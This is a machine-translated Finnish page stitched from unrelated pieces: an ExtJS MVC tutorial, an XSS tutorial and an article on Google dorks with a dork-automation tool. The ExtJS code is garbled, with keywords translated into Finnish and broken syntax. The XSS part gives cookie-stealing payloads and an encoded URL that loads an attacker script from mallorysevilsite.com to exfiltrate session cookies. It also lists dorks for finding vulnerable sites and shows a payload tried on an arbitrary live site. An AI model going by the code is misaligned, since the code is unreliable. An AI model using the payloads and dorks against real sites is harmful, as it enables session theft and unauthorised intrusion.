Viimeisin päivitys: 1.11.2015
Ohjain on avainlinkki, joka yhdistää kaikki sovelluksen osat ja saa ne toimimaan. Lisää luetteloon BookApp/app/controller tiedosto Books.js seuraavalla sisällöllä:
Ext.define("BookApp.controller.Books", ( laajennus: "Ext.app.Controller", näkymät: ["BookList", "Book"], kaupat: ["BookStore"], mallit: ["Kirja"] , init: function() ( this.control(( "Viewport > booklist": ( itemdblclick: this.editBook), "bookwindow button": ( click: this.createBook), "bookwindow button": ( napsauta: this.updateBook ), "bookwindow button": ( click: this.deleteBook), "bookwindow button": ( click: this.clearForm )), // päivitä päivitysKirja: function(button) ( var win = button.up(" window") , muoto = win.down("lomake"), arvot = form.getValues(), id = muoto.getRecord().get("id" Ext.Ajax.request(); url: "app/data/update.php", parametrit: arvot, menestys: function(response)( var data=Ext.decode(response.responseText); if(data.success)( var store = Ext.widget( " kirjalista").getStore(); store.load(); Ext.Msg.alert("Päivitä",data.message); else( Ext.Msg.alert("Päivitä","Kirjan päivittäminen kirjastossa epäonnistui "); ) ) )); ), // luodaan CreateBook: function(button) ( var win = button.up("window"), form = win.down("form"), arvot = form.getValues () ;
Ext.Ajax.request(( url: "app/data/create.php", parametrit: arvot, menestys: funktio(vastaus, asetukset)( var data=Ext.decode(response.responseText); if(data.success) ( Ext.Msg.alert("Luo",data.viesti); var store = Ext.widget("kirjalista").getStore(); store.load(); ) else( Ext.Msg.alert("Luo" "Kirjan lisääminen kirjastoon epäonnistui");
Katselukerrat: ["BookList", "Book"], kaupat: ["BookStore"], mallit: ["Book"],
Seuraavaksi alustamme init-parametrissa funktion avulla näppäinkäsittelijät, jotka meillä on näkymässä. Ohjaustoiminto auttaa sinua yhdistämään käsittelijät komponentteihin. Tämä toiminto käyttää Ext.ComponentQuery-luokkaa, jonka avulla voit etsiä elementtejä CSS-tyylivalitsimella. Esimerkiksi lauseke "viewport > booklist" etsii elementtejä, joilla on alias booklist ja jotka on määritetty viewport-komponentissa. Tämä valitsin päätyy BookList-esitykseen.
Ja ilmaisu "kirjaikkunapainike" saa painikkeen, jonka toimintaominaisuus on asetettu uuteen ja joka sijaitsee kirjaikkuna-elementissä, eli Kirja-näkymässä, joka on alias-kirjaikkuna. Jos siis tunnet CSS-valitsimet, sinun ei ole vaikea ymmärtää, kuinka valitsimet toimivat ExtJS:ssä.
"viewport > booklist": ( itemdblclick: this.editBook )
Kaikki käsittelijän funktiot määritellään init-funktion jälkeen. This.editBook-käsittelijä lataa valitun mallin ikkunaan:
EditBook: function(grid, record) ( var view = Ext.widget("bookwindow"); view.down("form").loadRecord(tietue); )
Ext.widget-menetelmää käyttämällä etsimme halutun komponentin Ext.ComponentQuery-valitsimella (tämä lauseke olisi samanlainen kuin Ext.create("widget.bookwindow") -lauseke) ja saa sitten sen alielementin alas-menetelmällä, myös käyttämällä valitsinta. Ja sitten lataamme valitun mallin lomakkeeseen.
Mallin lataamisen jälkeen meillä on kolme vaihtoehtoa: lisätä uusi kirja, muuttaa valittua tai poistaa valittu. Ja tässä näiden painikkeiden käsittelijät tulevat käyttöön. Koska käsittelijät ovat samantyyppisiä, analysoimme yhden niistä.
Päivityskirjan käsittelijä vastaanottaa muuttuneen kirjan tiedot ja lähettää Ajax-pyynnön palvelimelle:
UpdateBook: function(button) ( var win = button.up("window"), form = win.down("lomake"), arvot = form.getValues(), id = form.getRecord().get( "id"); arvot.id=id; Ext.Ajax.request(( url: "app/data/update.php", params: arvot, menestys: function(response)( var data=Ext.decode(response. vastausteksti) ; if(data.success)( var store = Ext.widget("kirjalista").getStore(); store.load(); Ext.Msg.alert("Päivitä",data.viesti); ) else( Ext. Msg.alert("Päivitä","Kirjan päivitys epäonnistui" ) ) );
Käsittelijä saa painetun painikkeen parametrina ja sitten ylös-menetelmällä saamme tämän painikkeen pääelementit: function(button) (var win= button.up("window")...
Lausekkeella arvot = form.getValues() saamme kaikki lomakekenttien arvot, mutta koska muuttuessa esimerkiksi tietokannan kanssa vuorovaikutuksessa vaaditaan id, niin lisäämme myös lomakkeen id:n. mallia päivitetään arvomuuttujaan.
Seuraavaksi lähetämme palvelimelle Ajax-pyynnön uusilla kirjatiedoilla ja välitämme muuttujan arvot pyynnön parametreina. Vastaanotetaan tiedostoa update.php(jonka pitäisi olla kansiossa BookApp/app/data) voisi vastaanottaa välitetyt parametrit seuraavasti:
Ja lopuksi onnistumistoiminnossa katsomme tulosta, jonka palvelin lähettää vastauksena, ja jos kaikki meni hyvin, lataamme päivitetyt tiedot palvelimelta.
Kaksi muuta käsittelijää toimivat samalla periaatteella.
Ja aivan lopussa muutamme hakemustiedostoa app.js niin, että se hyväksyy yllä luodun ohjaimen seuraavasti:
Ext.application(( vaatii: ["Ext.container.Viewport"], nimi: "BookApp", appFolder: "app", ohjaimet: ["Kirjat"], käynnistä: function() ( Ext.create("Ext. container.Viewport", ( asettelu: "sovi", kohteet: ( xtype: "booklist" ) )); ) ));
Ohjaimet: ["Kirjat"] -ominaisuudessa määritämme yllä luodun ohjaimen.
Nyt sovellus on valmis ja voidaan käynnistää:
Siten voimme soveltaa MVC-mallia Ext JS -sovellusten rakentamiseen.
Cross-site scripting (XSS) on haavoittuvuus, joka sisältää asiakaspuolen koodin (JavaScriptin) lisäämisen verkkosivulle, jota muut käyttäjät katselevat.
Haavoittuvuus johtuu käyttäjän verkkosivulle lisättävien tietojen riittämättömästä suodatuksesta. Se on paljon helpompi ymmärtää konkreettisella esimerkillä. Muista kaikki vieraskirjat - nämä ovat ohjelmia, jotka on suunniteltu vastaanottamaan tietoja käyttäjältä ja näyttämään ne. Kuvitellaan, että vieraskirja ei tarkista tai suodata syötettyjä tietoja millään tavalla, vaan yksinkertaisesti näyttää ne.
Voit hahmotella yksinkertaisimman skriptisi (mikään ei ole helpompaa kuin huonojen skriptien kirjoittaminen PHP:llä - monet ihmiset tekevät tämän). Mutta valmiita vaihtoehtoja on jo paljon. Suosittelen esimerkiksi aloittamaan Dojosta ja OWASP Mutillidae II:sta. Siellä on samanlainen esimerkki. Siirry erillisessä Dojo-ympäristössä tähän linkkiin selaimessasi: http://localhost/mutillidae/index.php?page=add-to-your-blog.php
Jos joku käyttäjistä syötti:
Tämän jälkeen verkkosivulla näkyy:
Hei! Pidän sivustostasi.
Ja jos käyttäjä kirjoittaa tämän:
Hei! Pidän sivustostasi.alert("Pwned")
Sitten se näytetään näin:
Selaimet tallentavat useita evästeitä suurelle määrälle sivustoja. Jokainen sivusto voi vastaanottaa vain itsensä tallentamia evästeitä. Esimerkiksi example.com on tallentanut evästeitä selaimeesi. Jos vierailet other.com-sivustolla, tämä sivusto (asiakas- ja palvelinkomentosarjat) ei voi käyttää example.com-sivuston tallentamia evästeitä.
Jos example.com on haavoittuvainen XSS:lle, tämä tarkoittaa, että voimme jollakin tavalla lisätä siihen JavaScript-koodia, ja koodi suoritetaan example.com-sivuston puolesta! Ne. Tämä koodi saa esimerkiksi pääsyn example.com-sivuston evästeisiin.
Luulen kaikkien muistavan, että JavaScript suoritetaan käyttäjien selaimissa, ts. XSS:n läsnäollessa upotettu haittakoodi pääsee käsiksi verkkosivuston sivun avanneen käyttäjän tietoihin.
Upotettu koodi voi tehdä kaiken, mitä JavaScript voi tehdä, nimittäin:
- saa pääsyn tarkastelemasi verkkosivuston evästeisiin
- voi tehdä mitä tahansa muutoksia sivun ulkoasuun
- käyttää leikepöytää
- voi toteuttaa JavaScript-ohjelmia, esimerkiksi keyloggereita (näppäinpainallusten sieppaajia)
- poimia BeEFistä
- jne.
Yksinkertaisin esimerkki evästeistä:
hälytys(dokumentti.eväste)
Itse asiassa varoitusta käytetään vain XSS:n havaitsemiseen. Todellinen haitallinen hyötykuorma suorittaa piilotettuja toimia. Se ottaa salaa yhteyttä hyökkääjän etäpalvelimeen ja siirtää varastetut tiedot siihen.
XSS-tyypitTärkein asia, joka on ymmärrettävä XSS-tyypeistä, on, että ne ovat:
- Tallennettu (pysyvä)
- Heijastunut (ei-pysyvä)
Esimerkki vakioista:
- Erityisesti muotoiltu viesti, jonka hyökkääjä on syöttänyt vieraskirjaan (kommentti, keskustelupalstaviesti, profiili), joka tallennetaan palvelimelle, ladataan palvelimelta aina, kun käyttäjät pyytävät tämän sivun näyttämistä.
- Hyökkääjä pääsi käsiksi palvelimen tietoihin esimerkiksi SQL-injektion avulla ja lisäsi haitallista JavaScript-koodia (jossa on kilologgereita tai BeEF) käyttäjälle annettuihin tietoihin.
Esimerkki ei-pysyvistä:
- Sivustolla on haku, joka näyttää hakutulosten ohella jotain "Hait: [hakumerkkijono]", eikä tietoja suodateta kunnolla. Koska tällainen sivu näytetään vain sille, jolla on linkki siihen, hyökkäys ei toimi ennen kuin hyökkääjä lähettää linkin muille sivuston käyttäjille. Sen sijaan, että lähettäisit linkin uhrille, voit käyttää haitallisen skriptin sijoittamista neutraalille sivustolle, jolla uhri vierailee.
Ne myös erottavat (jotkut ei-pysyvien XSS-haavoittuvuuksien tyyppinä, jotkut sanovat, että tämä tyyppi voi olla myös eräänlainen pysyvä XSS):
- DOM mallit
Yksinkertaisesti sanottuna voimme nähdä "tavallisen" ei-pysyvän XSS:n haitallisen koodin, jos avaamme HTML-koodin. Linkki muodostetaan esimerkiksi näin:
Http://example.com/search.php?q="/>hälytys(1)
Ja kun avaamme lähdekoodin HTML-koodin, näemme jotain tällaista:
hälytys(1)" /> Etsi
Ja DOM XSS muuttaa DOM-rakennetta, joka muodostuu selaimessa lennossa, ja näemme vain haitallista koodia katsoessamme luotua DOM-rakennetta. HTML ei muutu. Otetaan tämä koodi esimerkkinä:
site:::DOM XSS Tapahtui virhe... function OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); if (tulokset) ( document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( return null; ) ) display_session = OnLoad();
")
document.write("Istunnon tunnuksesi oli: " + display_session + "
Sitten selaimessa näemme:
Sivun lähdekoodi:
Muodostetaan osoite seuraavasti:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);
Nyt sivu näyttää tältä:
Mutta katsotaanpa HTML-lähdekoodia:
Mikään ei ole muuttunut siellä ollenkaan. Tästä puhuin, meidän on tarkasteltava asiakirjan DOM-rakennetta haitallisen koodin tunnistamiseksi:
Tässä on toimiva XSS-prototyyppi, todellista hyökkäystä varten tarvitsemme monimutkaisemman hyötykuorman, mikä ei ole mahdollista, koska sovellus lopettaa lukemisen heti puolipisteen jälkeen, ja jotain kuten alert(1);alert(2) ei ole enää mahdollista. Unescape():n ansiosta voimme kuitenkin käyttää palautustiedoissa tällaista hyötykuormaa:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);
Voimme nyt kirjoittaa haitallisen JavaScript-hyötykuorman ja luoda linkin lähetettäväksi uhrille, kuten tehdään tavallisessa ei-pysyvässä sivustojen välisessä komentosarjassa.
XSS AuditorGoogle Chromessa (ja myös Operassa, joka nyt käyttää Google Chrome -moottoria) odotti minua tämä yllätys:
dom_xss.html:30 XSS Auditor kieltäytyi suorittamasta komentosarjaa "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" koska sen lähdekoodi löytyi pyynnöstä. Tarkastaja otettiin käyttöön, koska palvelin ei lähettänyt "X-XSS-Protection"- eikä "Content-Security-Policy"-otsikkoa.
Ne. selaimessa on nyt XSS-auditori, joka yrittää estää XSS:n. Firefoxissa ei vielä ole tätä toimintoa, mutta mielestäni se on ajan kysymys. Jos käyttöönotto selaimissa onnistuu, voimme puhua merkittävästä vaikeudesta XSS:n käytössä.
On hyvä muistaa, että nykyaikaiset selaimet ryhtyvät toimiin rajoittaakseen hyväksikäyttöongelmia, kuten ei-pysyvää XSS:ää ja DOM-pohjaista XSS:ää. Tämä on myös muistettava testattaessa verkkosivustoja selaimella - voi hyvinkin käydä ilmi, että verkkosovellus on haavoittuvainen, mutta et näe ponnahdusikkunan vahvistusta vain siksi, että selain estää sen.
XSS-käyttöesimerkkejäHyökkääjien, jotka aikovat hyödyntää sivustojen välisiä komentosarjahaavoittuvuuksia, on lähestyttävä jokaista haavoittuvuusluokkaa eri tavalla. Jokaisen luokan hyökkäysvektorit on kuvattu tässä.
XSS-haavoittuvuuksia varten hyökkäykset voivat käyttää BeEF:ää, joka laajentaa hyökkäyksen verkkosivustolta käyttäjien paikalliseen ympäristöön.
Esimerkki ei-jatkuvasta XSS-hyökkäyksestä
1. Alice vierailee usein tietyllä Bobin isännöimällä verkkosivustolla. Bobin verkkosivuilla Alice voi kirjautua sisään käyttäjätunnuksella/salasanalla ja tallentaa arkaluontoisia tietoja, kuten maksutietoja. Kun käyttäjä kirjautuu sisään, selain tallentaa valtuutusevästeet, jotka näyttävät merkityksettömiltä merkeiltä, ts. molemmat tietokoneet (asiakas ja palvelin) muistavat, että hän tuli sisään.
2. Mallory huomauttaa, että Bobin verkkosivusto sisältää ei-pysyvän XSS-haavoittuvuuden:
2.1 Kun vierailet hakusivulla, kirjoita hakumerkkijono ja napsauta Lähetä-painiketta. Jos tuloksia ei löydy, sivulla näkyy syötetty hakumerkkijono ja sanat "ei löydy" ja url näyttää tältä http://bobssite .org?q= hänen hakukyselynsä
2.2 Normaalilla hakukyselyllä, kuten sanalla "koirat", sivulla näkyy yksinkertaisesti "koiria ei löytynyt" ja URL-osoite http://bobssite.org?q=dogs, mikä on täysin normaalia toimintaa.
2.3 Kuitenkin, kun poikkeava hakukysely, kuten alert("xss"); :
2.3.1 Näkyviin tulee varoitusviesti (jossa lukee "xss").
2.3.2 Sivulla näkyy alert("xss"); ei löydy sekä virheilmoitus tekstillä "xss".
2.3.3 url, joka soveltuu hyväksikäyttöön http://bobssite.org?q=alert("xss");
3. Mallory rakentaa URL-osoitteen haavoittuvuuden hyödyntämiseksi:
3.1 Hän tekee URL-osoitteen http://bobssite.org?q=pennut. Hän voi halutessaan muuntaa ASCII-merkit heksadesimaalimuotoon, kuten http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E järjestyksessä. estääksesi ihmisiä ymmärtämästä haitallista URL-osoitetta välittömästi.
3.2 Hän lähettää sähköpostia joillekin pahaa-aavistamattomille Bobin sivuston jäsenille ja sanoo: "Katso hienoja koiria."
4. Alice saa kirjeen. Hän rakastaa koiria ja klikkaa linkkiä. Hän menee Bobin sivustolle hakuun, hän ei löydä mitään, siellä näkyy "koiraa ei löytynyt" ja aivan keskellä käynnistetään komentosarjan tagi (se ei näy näytöllä), lataa ja suorittaa Malory's authstealer.js-ohjelma (laukaisee XSS-hyökkäyksen). Alice unohtaa sen.
5. Authstealer.js-ohjelma toimii Alicen selaimessa ikään kuin se olisi peräisin Bobin verkkosivustolta. Hän nappaa kopion Alicen valtuutusevästeet ja lähettää ne Maloryn palvelimelle, josta Malory hakee ne.
7. Nyt kun Mallory on sisällä, hän menee verkkosivuston maksuosaan, katsoo ja varastaa kopion Alicen luottokortin numerosta. Sitten hän menee ja vaihtaa salasanan, ts. Nyt Alice ei voi enää edes tulla sisään.
8. Hän päättää ottaa seuraavan askeleen ja lähettää tällä tavalla muodostetun linkin Bobille itselleen ja saa siten Bobin sivuston ylläpitäjän oikeudet.
Jatkuva XSS-hyökkäys
Dorks XSS:lle
Ensimmäinen askel on valita sivustot, joilla teemme XSS-hyökkäyksiä. Sivustoja voi hakea Google dorksin avulla. Tässä on muutamia näistä dorkeista, jotka voit kopioida ja liittää Google-hakuun:
- inurl:search.php?q=
- inurl:.php?q=
- inurl:search.php
- inurl:.php?search=
Edessämme avautuu luettelo sivustoista. Sinun on avattava sivusto ja etsittävä siitä syöttökenttiä, kuten palautelomake, syöttölomake, sivustohaku jne.
Haluan heti huomauttaa, että on lähes turhaa etsiä haavoittuvuuksia suosituista automaattisesti päivitetyistä verkkosovelluksista. Klassinen esimerkki tällaisesta sovelluksesta on WordPress. Itse asiassa WordPressissä ja erityisesti sen laajennuksissa on haavoittuvuuksia. Lisäksi monet sivustot eivät päivitä WordPress-moottoria (johtuen siitä, että verkkovastaava teki joitain muutoksia lähdekoodiin) tai niiden laajennuksia ja teemoja (yleensä nämä ovat piraattilaajennuksia ja teemoja). Mutta jos luet tämän osion ja opit siitä jotain uutta, niin WordPress ei ole vielä sinua varten... Palaamme siihen varmasti myöhemmin.
Parhaat tavoitteet ovat erilaisia itse kirjoitettuja moottoreita ja käsikirjoituksia.
Voit valita lisättävän hyötykuorman muodossa
hälytys (1)
Kiinnitä huomiota siihen, mihin HTML-kooditunnisteisiin upotettu koodisi kuuluu. Tässä on esimerkki tyypillisestä syöttökentästä:
hälytys (1)
Hyötykuormamme päätyy sinne, missä sana "tyynyliina" on nyt. Ne. muuttuvat syöttötunnisteen arvoksi. Voimme välttää tämän sulkemalla lainausmerkin ja sitten itse tagin "/>:lla
">hälytys(1)
Kokeillaanpa jollain sivustolla:
Hienoa, haavoittuvuus on olemassa
Ohjelmat XSS-haavoittuvuuksien etsimiseen ja tarkistamiseenTodennäköisesti kaikissa verkkosovellusskannereissa on sisäänrakennettu XSS-haavoittuvuusskanneri. Tämä aihe ei ole kattava, on parempi tutustua jokaiseen vastaavaan skanneriin erikseen.
On myös erikoistyökaluja XSS-haavoittuvuuksien etsimiseen. Niistä voimme erityisesti korostaa:
- XSSer ei ole vain tehokas skanneri, joka voi käyttää eri menetelmiä injektointiin ja suodatuksen ohitukseen, vaan se on myös automaattinen työkalu XSS-alttiiden sivustojen etsimiseen (dorks). Sivustoille, joilla on löydetty haavoittuvuuksia, se voi lisätä hyötykuorman todellista hyökkäystä varten;
- XssPy on myös melko itsenäinen työkalu, joka löytää sivuston kaikki sivut (myös aliverkkotunnuksissa olevat) ja tarkistaa näiden sivujen kaikki syöteelementit;
USSCLTD 10. toukokuuta 2016 klo 12.38
Haavoittuvuuksien etsiminen Googlen avulla- Tietoturva
Verkkoresurssien haavoittuvuuksien etsiminen alkaa tiedustelulla ja tiedonkeruulla.
Tiedustelu voi olla joko aktiivista - sivuston tiedostojen ja hakemistojen raakaa voimaa, haavoittuvuustarkistusten suorittamista, sivuston manuaalista selaamista tai passiivista - tiedon etsimistä eri hakukoneilla. Joskus käy niin, että haavoittuvuus tulee tiedoksi jo ennen sivuston ensimmäisen sivun avaamista.
Miten tämä on mahdollista?
Jatkuvasti Internetissä vaeltavat hakurobotit tallentavat tavalliselle käyttäjälle hyödyllisten tietojen lisäksi usein asioita, joita hyökkääjät voivat käyttää hyökkääessään verkkoresursseihin. Esimerkiksi komentosarjavirheet ja arkaluontoisia tietoja sisältävät tiedostot (määritystiedostoista ja lokeista tiedostoihin, joissa on todennustietoja ja tietokannan varmuuskopioita).
Hakurobotin näkökulmasta virheilmoitus sql-kyselyn suorittamisesta on pelkkää tekstiä, jota ei voi erottaa esimerkiksi sivun tuotekuvauksesta. Jos hakurobotti yhtäkkiä löysi .sql-tunnisteisen tiedoston, joka jostain syystä päätyi sivuston työkansioon, se nähdään osana sivuston sisältöä ja myös indeksoidaan (mukaan lukien mahdollisesti salasanat siinä määritelty).
Tällaisia tietoja voi löytää tuntemalla vahvoja, usein ainutlaatuisia avainsanoja, jotka auttavat erottamaan "haavoittuvat sivut" sivuista, jotka eivät sisällä haavoittuvuuksia.
Exploit-db.com-sivustolla on valtava tietokanta erikoiskyselyistä, joissa käytetään avainsanoja (niin sanottuja dorkkeja), ja se tunnetaan nimellä Google Hack Database.
Miksi googlettaa?
Dorks on ensisijaisesti suunnattu Googlelle kahdesta syystä:
− Joustavin avainsanojen (näkyy taulukossa 1) ja erikoismerkkien syntaksi (näkyy taulukossa 2);
− Googlen hakemisto on edelleen kattavampi kuin muiden hakukoneiden;
Taulukko 1 - Tärkeimmät Google-avainsanat
avainsana |
Merkitys |
Esimerkki |
sivusto |
Hae vain määritetyltä sivustolta. Ottaa huomioon vain url:n |
site:somesite.ru - löytää kaikki sivut tietyltä verkkotunnukselta ja aliverkkotunnuksilta |
inurl |
Hae uri:ssa olevilla sanoilla. Toisin kuin cl. sanat "sivusto", etsii osumia sivuston nimen jälkeen |
inurl:news - etsii kaikki sivut, joilla annettu sana esiintyy urissa |
tekstissä |
Hae sivun tekstiosassa |
intext:"liikenneruuhkat" - täysin samanlainen kuin tavallinen "liikenneruuhkat" -pyyntö |
otsikko |
Hae sivun otsikosta. Teksti tagien välissä |
intitle:”index of” - löytää kaikki sivut hakemistoluetteloilla |
alanumero |
Etsi sivuja, joilla on määritetty pääte |
ext:pdf - löytää kaikki pdf-tiedostot |
tiedostotyyppi |
Tällä hetkellä täysin samanlainen kuin luokka. sana "ext" |
tiedostotyyppi:pdf - samanlainen |
liittyvät |
Etsi samankaltaisia aiheita sisältäviä sivustoja |
related:google.ru - näyttää sen analogit |
linkki |
Etsi sivustoja, jotka linkittävät tähän |
link:somesite.ru - löytää kaikki sivustot, joilla on linkki tähän |
määritellä |
Näytä sanan määritelmä |
define:0day - termin määritelmä |
välimuisti |
Näytä sivun sisältö välimuistissa (jos sellainen on) |
cache:google.com - avaa välimuistissa olevan sivun |
Taulukko 2 - Erikoismerkit Google-kyselyille
Symboli |
Merkitys |
Esimerkki |
“ |
Tarkka lause |
intitle:"RouterOS-reitittimen määrityssivu" - etsi reitittimiä |
* |
Mikä tahansa teksti |
inurl: "bitrix*mcart" - etsi sivustoja Bitrixistä haavoittuvalla mcart-moduulilla |
. |
Mikä tahansa hahmo |
Index.of - samanlainen kuin pyyntöindeksi |
- |
Poista sana |
virhe -varoitus - näyttää kaikki sivut, joissa on virhe mutta ei varoitusta |
.. |
Alue |
cve 2006..2016 - näytä haavoittuvuudet vuosittain vuodesta 2006 alkaen |
| |
Looginen "tai" |
linux | ikkunat - näyttää sivut, joilla joko ensimmäinen tai toinen sana esiintyy |
On syytä ymmärtää, että mikä tahansa hakukoneelle osoitettu pyyntö on haku vain sanoilla.
On hyödytöntä etsiä sivulta metamerkkejä (lainausmerkit, sulkeet, välimerkit jne.). Jopa lainausmerkeissä määritellyn tarkan lauseen haku on sanahaku, jota seuraa tarkka haku tuloksissa.
Kaikki Google Hack Database -dorkit on jaettu loogisesti 14 luokkaan, ja ne on esitetty taulukossa 3.
Taulukko 3 – Google Hack Database -luokat
Luokka |
Mikä mahdollistaa löytämisen |
Esimerkki |
Jalkapäät |
Web-kuoret, julkiset tiedostojen hallintaohjelmat |
Etsi kaikki hakkeroidut sivustot, joille on ladattu lueteltuja verkkokuoria: (intitle:"phpshell" TAI intitle:"c99shell" TAI intitle:"r57shell" TAI intitle:"PHP Shell" TAI intitle:"phpRemoteView") `rwx` "uname" |
Käyttäjänimiä sisältävät tiedostot |
Rekisteritiedostot, asetustiedostot, lokit, tiedostot, jotka sisältävät syötettyjen komentojen historian |
Etsi kaikki rekisteritiedostot, jotka sisältävät tilitietoja: tiedostotyyppi:reg reg +intext:"Internet-tilin hallinta" |
Arkaluonteiset hakemistot |
Hakemistot, joissa on erilaisia tietoja (henkilökohtaiset asiakirjat, vpn-asetukset, piilotetut arkistot jne.) |
Etsi kaikki VPN:ään liittyviä tiedostoja sisältävät hakemistolistaukset: "Config" intitle:"Index of" intext:vpn Git-tietovarastoja sisältävät sivustot: (intext:"hakemisto /.git") ("emohakemisto") |
Web-palvelimen tunnistus |
Versio ja muut tiedot web-palvelimesta |
Etsi JBoss-palvelimen hallintakonsolit: inurl:"/web-console/" intitle:"Hallintakonsoli" |
Haavoittuvat tiedostot |
Komentosarjat, jotka sisältävät tunnettuja haavoittuvuuksia |
Etsi sivustoja, jotka käyttävät komentosarjaa, jonka avulla voit ladata mielivaltaisen tiedoston palvelimelta: allinurl:forcedownload.php?file= |
Haavoittuvat palvelimet |
Asennuskomentosarjat, web-komentotulokset, avoimet hallintakonsolit jne. |
Etsi avoimet PHPMyAdmin-konsolit, jotka toimivat pääkäyttäjänä: intitle:phpMyAdmin "Tervetuloa phpMyAdminiin ***" "joka toimii * root@*:na" |
Virheilmoitukset |
Erilaiset virheet ja varoitukset paljastavat usein tärkeitä tietoja - CMS-versiosta salasanoihin |
Sivustot, joissa on virheitä suoritettaessa SQL-kyselyitä tietokantaan: "Varoitus: mysql_query()" "virheellinen kysely" |
Tiedostot sisältävät mehukkaita tietoja |
Sertifikaatit, varmuuskopiot, sähköpostit, lokit, SQL-skriptit jne. |
Etsi alustus sql-skriptit: tiedostotyyppi:sql ja "insert into" -site:github.com |
Salasanoja sisältävät tiedostot |
Kaikki, mikä voi sisältää salasanoja - lokit, SQL-skriptit jne. |
Salasanoja mainitsevat lokit: tiedostotyyppi:lokiteksti:salasana |kulkea |pw salasanat sisältävät sql-skriptit: alanumero:sqlteksti:käyttäjätunnusteksti:salasana |
Arkaluonteiset verkkokaupan tiedot |
Verkko-ostoksia koskevat tiedot |
Etsi pin-koodeja: dcid=bn=pinkoodi= |
Verkko- tai haavoittuvuustiedot |
Tiedot, jotka eivät suoraan liity verkkoresurssiin, mutta vaikuttavat verkkoon tai muihin ei-verkkopalveluihin |
Etsi automaattiset välityspalvelimen määrityskomentosarjat, jotka sisältävät tietoja sisäisestä verkosta: inurl:välityspalvelin | inurl:wpad ext:pac | ext:dat findproxyforurl |
Sivut, jotka sisältävät kirjautumisportaaleja |
Sivut, jotka sisältävät kirjautumislomakkeita |
saplogonin verkkosivut: intext:"2016 SAP AG. Kaikki oikeudet pidätetään." otsikko: "Kirjaudu sisään" |
Erilaisia verkkolaitteita |
Tulostimet, reitittimet, valvontajärjestelmät jne. |
Etsi tulostimen asetuspaneeli: otsikko:"hplaserjet"inurl:SSI/Auth/sarja_config_laitetiedot.htm |
Ohjeet ja haavoittuvuudet |
Verkkosivustot haavoittuvilla CMS-versioilla |
Etsi haavoittuvia laajennuksia, joiden kautta voit ladata mielivaltaisen tiedoston palvelimelle: inurl:fckeditor -intext:"ConfigIsEnabled = False" intext:ConfigIsEnabled |
Dorkit keskittyvät useammin etsimään kaikilla Internet-sivustoilla. Mutta mikään ei estä sinua rajoittamasta hakua millä tahansa sivustolla tai sivustoilla.
Jokainen Google-kysely voidaan kohdistaa tiettyyn sivustoon lisäämällä kyselyyn avainsana "site:somesite.com". Tämä avainsana voidaan lisätä mihin tahansa dokkiin.
Haavoittuvuuksien etsimisen automatisointi
Näin syntyi idea kirjoittaa yksinkertainen apuohjelma, joka automatisoi haavoittuvuuksien etsinnän hakukoneen (google) avulla ja luottaa Google Hack -tietokantaan.
Apuohjelma on skripti, joka on kirjoitettu nodejsissa käyttämällä phantomjs. Tarkemmin sanottuna käsikirjoituksen tulkitsee phantomjs itse.
Phantomjs on täysimittainen verkkoselain ilman graafista käyttöliittymää, jota ohjataan js-koodilla ja kätevällä API:lla.
Apuohjelma sai melko ymmärrettävän nimen - dorks. Suorittamalla sen komentorivillä (ilman valintoja), saamme lyhyitä ohjeita useilla käyttöesimerkeillä:
Kuva 1 - Luettelo tärkeimmistä dorks-vaihtoehdoista
Apuohjelman yleinen syntaksi on: dork "komento" "optioluettelo".
Yksityiskohtainen kuvaus kaikista vaihtoehdoista on taulukossa 4.
Taulukko 4 - Dorks-syntaksi
Joukkue |
Vaihtoehto |
Kuvaus |
ghdb |
-l |
Tulosta numeroitu luettelo dork-luokista Google Hack Database |
-c "luokkanumero tai nimi" |
Määritetyn luokan kuormaovet numeron tai nimen mukaan |
|
-q "lause" |
Lataa pyynnöstä löydetyt dorkit |
|
-o "tiedosto" |
Tallenna tulos tiedostoon (vain -c|-q vaihtoehdoilla) |
|
google |
-d "dork" |
Aseta mielivaltainen dork (vaihtoehtoa voidaan käyttää monta kertaa, yhdistelmä -D-vaihtoehdon kanssa on sallittu) |
-D "tiedosto" |
Käytä dorksia tiedostosta |
|
-s "sivusto" |
Aseta sivusto (vaihtoehtoa voidaan käyttää monta kertaa, yhdistelmä vaihtoehdon -S kanssa on sallittu) |
|
-S "tiedosto" |
Käytä sivustoja tiedostosta (dorks etsitään jokaiselle sivustolle erikseen) |
|
-f "suodatin" |
Aseta lisää avainsanoja (lisätään jokaiseen dokkiin) |
|
-t "ms ms" |
Google-pyyntöjen välinen aikaväli |
|
-T "ms-määrä" |
Aikakatkaisu, jos captcha havaitaan |
|
-o "tiedosto" |
Tallenna tulos tiedostoon (vain ne kappaleet, joille jotain löytyi, tallennetaan) |
Ghdb-komennolla voit saada kaikki dorkit exploit-db:stä mielivaltaisella pyynnöstä tai määrittää koko luokan. Jos määrität kategorian 0, koko tietokanta puretaan (noin 4,5 tuhatta dorkia).
Luettelo tällä hetkellä saatavilla olevista luokista on esitetty kuvassa 2.
Kuva 2 - Luettelo käytettävissä olevista GHDB:n dork-luokista
Google-tiimi korvaa jokaisen dorkin Google-hakukoneessa ja analysoi tuloksen osumien varalta. Polut, joista jotain löydettiin, tallennetaan tiedostoon.
Apuohjelma tukee erilaisia hakutiloja:
1 dork ja 1 työpaikka;
1 dork ja monet sivustot;
1 sivusto ja monet dorks;
monet sivustot ja monet dorks;
Dorkkien ja sivustojen luettelo voidaan määrittää joko argumentin tai tiedoston avulla.
Työn esittely
Yritetään etsiä haavoittuvuuksia käyttämällä esimerkkiä virheilmoitusten etsimisestä. Komennolla: dorks ghdb –c 7 –o errors.dorks kaikki tunnetut "Virheilmoitukset"-luokan dorkit ladataan kuvan 3 mukaisesti.
Kuva 3 – Ladataan kaikkia "Virheilmoitukset"-luokan tunnettuja dokkeja
Dorks ladataan ja tallennetaan tiedostoon. Nyt ei jää muuta kuin "asettaa" ne jollekin sivustolle (katso kuva 4).
Kuva 4 – Etsi kiinnostavan sivuston haavoittuvuuksia Googlen välimuistista
Jonkin ajan kuluttua tutkittavalta sivustolta löydetään useita virheitä sisältäviä sivuja (katso kuva 5).
